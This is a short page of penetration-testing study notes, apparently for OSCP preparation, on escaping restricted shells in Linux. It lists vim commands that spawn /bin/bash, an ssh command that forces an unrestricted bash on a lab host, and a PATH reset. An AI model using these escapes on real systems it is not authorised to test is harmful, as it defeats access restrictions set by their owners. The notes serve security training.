// notes/ PrivEsc — Linux
🐧

Misc Restricted Shell Escaping

Notes from oscp.adot8.com — linux privilege escalation.

#linux privilege escalation#adot8
source · oscp.adot8.com · linux-privilege-escalation/misc_restricted-shell-escaping

Restricted shell escaping

Vim

code
01:!/bin/bash
02:set shell=/bin/bash
03:shell

Rbash

code
01ssh user@192.168.192.85 -t "bash --noprofile"
02export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

{% embed url="https://systemweakness.com/how-to-breakout-of-rbash-restricted-bash-4e07f0fd95e" %}